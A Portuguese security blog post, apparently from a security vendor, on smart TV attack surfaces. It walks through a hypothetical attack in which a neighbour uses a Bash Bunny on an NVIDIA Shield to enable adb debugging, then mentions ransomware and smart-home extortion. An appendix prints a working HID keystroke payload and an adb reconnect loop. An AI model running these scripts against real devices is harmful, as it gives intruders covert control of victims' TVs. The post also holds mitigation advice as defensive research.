As TVs inteligentes fazem parte da realidade diária de milhões de usuários em todo o mundo. À medida que adquirem mais funcionalidades, a quantidade e a sensibilidade dos dados administrados são cada vez mais relevante para o mundo do cibercrime. Quanto mais usuários adquirem essa tecnologia, mais os atacantes encontram motivos para criar novas formas de aproveitar a diversidade que o ecossistema da Internet das Coisas (IoT) atualmente propõe. Por isso, decidimos abordar a questão da segurança em smart TVs e apresentar esta publicação que inclui um white paper (em espanhol) que pode ser baixado, no qual analisamos por que as smart TVs são um alvo atraente para os cibercriminosos, como a segurança de uma smart TV pode ser comprometida e também compartilhar uma série de vídeos nos quais simulamos um ataque a uma smart TV.
O auge das smart TVs e dos dispositivos de streaming
Com suas telas de alta resolução, câmeras, microfones e interfaces inovadoras orientadas para o usuário, essas TVs ganharam espaço em uma grande quantidade de residências. Tanto que, segundo a Statista, em 2018 mais de 114 milhões de smart TVs foram vendidas em todo o mundo. De acordo com uma publicação da IHS Markit, esse volume representaria 70% de todos os televisores vendidos durante esse ano.
Ao observar o relatório de market share conduzido pela IHS Markit, não deveríamos nos surpreender que o Android TV seja o sistema operacional de TVs inteligentes mais popular, incluindo implementações do Android puras e aquelas modificadas pelos fabricantes. Na prática, os usuários também têm a possibilidade de comprar TVs com conectores HDMI e transformá-los em inteligentes conectando-os a um dispositivo de streaming externo.
Talvez três dos dispositivos de streaming mais populares sejam o Chromecast do Google, o Fire TV de Amazon e o Apple TV - é claro, da Apple. No entanto, existem outras dezenas de modelos que oferecem funcionalidades semelhantes, conhecidas como "TV boxes" ou "streaming boxes". Recentemente, um novo jogador se juntou a este segmento: o NVIDIA Shield. Enquanto isso, a Roku continua aumentando sua participação no mercado ocidental.
Como a segurança de uma Smart TV pode ser comprometida?
Os cibercriminosos perseguem um objetivo claro com suas campanhas maliciosas: a geração de dinheiro. Ou seja, eles solicitam informações para vender, dados para extorquir, equipamentos para sequestrar ou a capacidade de processamento para utilizar. As TVs inteligentes têm todos esses recursos, o que as torna um alvo atraente.
Os atacantes possuem um arsenal de ferramentas que podem usar de forma conjunta para executar códigos maliciosos no ambiente da vítima. Engenharia social, vulnerabilidades, configurações ruins, ataques físicos e malware são técnicas usadas para ganhar o controle do equipamento.
Muitos usuários sofreram o sequestro de seus televisores por variantes semelhantes ao Simplocker ou ao Vírus da Polícia - ameaças que exigem que a vítima faça um pagamento para recuperar seus arquivos. Muitos outros foram vítimas de ameaças como ADB.Miner - detectado pela ESET como Android/Coinminer.X - que buscam sequestrar a capacidade de processamento de um computador, sendo essa ameaça, em particular, um exemplo de como o malware orientado a mineração de criptomoedas tornaram-se mais complexos adquirindo capacidades de autopropagação, capazes de serem instalados em televisões ao explorar portas de depuração abertas devido a configurações inseguras.
Ataques físicos através de portas USB
Embora as vulnerabilidades sejam corrigidas e os usuários sejam treinados para detectar fraudes, muitas TVs continuam sendo encontradas em espaços vulneráveis, como em locais onde podem ser acessadas fisicamente por terceiros - por exemplo, na sala de espera de um escritório ou em uma sala de estar.
Em particular, as portas USB podem ser usadas para executar scripts maliciosos ou explorar vulnerabilidades. Alguns gadgets permitem que você realize esta tarefa de maneira rápida e fácil, como o famoso - ou infame - Bash Bunny da Hak5 e seu antecessor, Rubber Ducky, ou qualquer hardware com características semelhantes - spoiler alert: eles não são muito complicados ou caros para serem criados do zero. Dessa maneira, o atacante pode automatizar uma série de ações maliciosas com base na interação com a interface do usuário e executar o ataque em poucos segundos simplesmente conectando um dispositivo semelhante à uma memória USB.
Alguns scripts para realizar esta incrível façanha na Fire TV já estão carregados nos repositórios do Hak5, no GitHub. No entanto, muitos precisam ser atualizados para se adaptarem à versão mais recente da interface gráfica do Android ou à interface do sistema que a vítima esteja usando.
Caso prático de um ataque
Podemos exemplificar o item anterior com um cenário de ataque hipotético. Para isso, precisamos de um protagonista, a vítima, a quem vamos a dar o nome de Truman para fins práticos. Truman tem um vizinho chamado Christopher Lee, mas como Truman não viu O Senhor dos Anéis, nem Star Wars, nem Charlie e a fábrica de chocolate, ele não sabe que Christopher é um vilão que controla secretamente centenas de bots e vende informações roubadas na dark net.
Depois de ganhar acesso à rede Wi-Fi de Truman - o que certamente pode ser feito através de um número bizarro de possibilidades bem documentadas -, Christopher pode listar os dispositivos em sua rede e identificar rapidamente um dispositivo com o Android TV: uma NVIDIA Shield.
Para começar, o fato do Android TV incluir recursos de assistente de voz e se vincule a uma ampla variedade de sensores IoT permite outro vetor de ataque. Por exemplo, ao listar as portas abertas da NVIDIA Shield, Chris observa o serviço ativo do Chromecast (porta 8008). Este serviço suporta uma API na qual qualquer outro computador na rede pode solicitar informações ou fazer modificações na configuração, levantando preocupações sobre as consequências que isso tem para a privacidade dos usuários.
A API do Chromecast na NVIDIA pode ser consultada para descobrir a versão do sistema operacional em execução no computador, simplesmente enviando um pacote GET para o endereço http://<IP-NVIDIA-Shield>:8008/setup/eureka_info. Na parte inferior da imagem a seguir podemos ver que diz "versão": 8, indicando que se trata do Android Oreo.
Com esses dados, nosso vilão sabe exatamente quais movimentos permitirão navegar pela interface do usuário para ativar a depuração. Isso é obtido a partir das opções do desenvolvedor do Android, que devem estar ocultas em dispositivos de fábrica e podem ser ativadas no menu de informações sobre o computador. Uma TV pode ser depurada através da porta USB ou usando o TCP-IP. Em ambos os casos, o sistema exigirá que a conexão seja autorizada antes de permitir o acesso ao computador remoto. No Android, a ferramenta adb (Android Debug Bridge) é executada por padrão na porta 5555.
Criar um script para emular um teclado com o Bash Bunny não requer muita criatividade. O ATTACKMODE é indicado como HID e cada comando é iniciado com a letra Q toda vez que você quiser simular uma tecla, já que a mesma interface do Rubber Ducky é usada. Quack! De agora em diante, a seta para cima é Q UP, para baixo é Q DOWN, direita é Q RIGHT e esquerda, sim você adivinhou, Q SCHWARZWÄLDERKIRSCHTORTE. Piada! Claro que é Q LEFT. Q ENTER é Enter, Q ESC retrocede e Q DELAY <milisegundos> atrasa/adiciona o tempo de espera indicado. Mais detalhes sobre a programação de scripts podem ser encontrados no wiki do Bash Bunny.
Para habilitar a depuração de rede, outro script pode ser executado na máquina a partir da qual se pretende acessar remotamente para tentar conectar-se constantemente com a vítima via adb, o que ativará a caixa de diálogo de autorização de depuração enquanto o Bash Bunny estiver conectado e permitirá aceitá-lo no momento. Assim, Christopher pode executar o script, preparar um café e visitar seu vizinho Truman para pedir um pouco de açúcar que está convenientemente faltando. Depois de conectar o Bash Bunny na NVIDIA Shield enquanto Truman se afastava para a cozinha, na tela você podia ver algo semelhante ao seguinte vídeo.
27 segundos atrasam a carga útil na execução. Agora Christopher tem uma sessão de depuração usando adb. O que você pode fazer com isso? Por que não instalar um ransomware? Como também existe uma tomada inteligente na casa com algumas vulnerabilidades, você pode extorquir o Truman mostrando como controla as luzes de sua casa a partir da sua smart TV, como mostrado abaixo.
Mitigação
Para os dispositivos, a proteção das entradas físicas do dispositivo, tanto de rede como de USB, deve ser levada em conta. Para isso, podemos ativar a proteção lógica por meio de soluções de segurança ou, no caso das Tvs boxes, podemos utilizar caixas de acrílico com trava, as mesmas usadas em outros sensores IoT. Para proteger as portas USB, também podemos usar proteções USB: alguns gadgets que são colocados entre a TV e qualquer unidade externa que se conecte a ela e que impeça qualquer execução indesejada de código.
Se a smart TV não for usada como um dispositivo de teste de aplicativos em um ambiente de desenvolvimento, é melhor manter as portas de depuração desativadas. Caso contrário, se você precisar depurar qualquer aplicativo, pode ser uma boa prática revogar periodicamente as autorizações de depuração existentes e verificar se temos conexões estabelecidas na porta 5555.
Para obter informações completas sobre inseguranças e medidas de proteção para sua smart TV, leia o nosso artigo sobre segurança em Smart TVs (em espanhol).
Anexo
Script para solicitar a depuração.
[shell]
#!/bin/bash
while : ; do
OUTPUT="$(adb connect 192.168.1.103:5555"
if [[ $OUTPUT = *"connected"* ]]; then
echo "[!] SUCCESS! Connected to 192.168.1.103:5555"
exit 1
fi
echo "[*] Connecting..."
sleep .20
done
[/shell]
Carga útil para Bash Bunny.
[shell]
#!/bin/bash
#
# Title: Android Debugging over Wi Fi
# Author: DGBilic
# Version: 1.0
# Target: Android TV / NVIDIA Shield
#
# Enable adb debugging over Wi Fi.
#
# Enable developer options.
LED STAGE1
ATTACKMODE HID
Q UP
Q RIGHT
Q RIGHT
Q ENTER
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q ENTER
Q DELAY 10
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ENTER
Q ESC
Q DELAY 10
# Enable adb debugging.
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q ENTER
Q DELAY 10
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q DOWN
Q ENTER
Q DELAY 500
Q ENTER
Q DELAY 500
Q ESC
Q DELAY 10
Q DOWN
Q DELAY 10
Q ENTER
# Wait a few seconds for debugger connection from remote PC.
LED STAGE2
Q DELAY 5000
# Accept remote conection.
LED STAGE3
Q ENTER
Q DELAY 10
Q DOWN
Q DELAY 10
Q RIGHT
Q DELAY 10
Q ENTER
# Return to main screen.
Q ESC
Q ESC
Q ESC
LED FINISH
[/shell]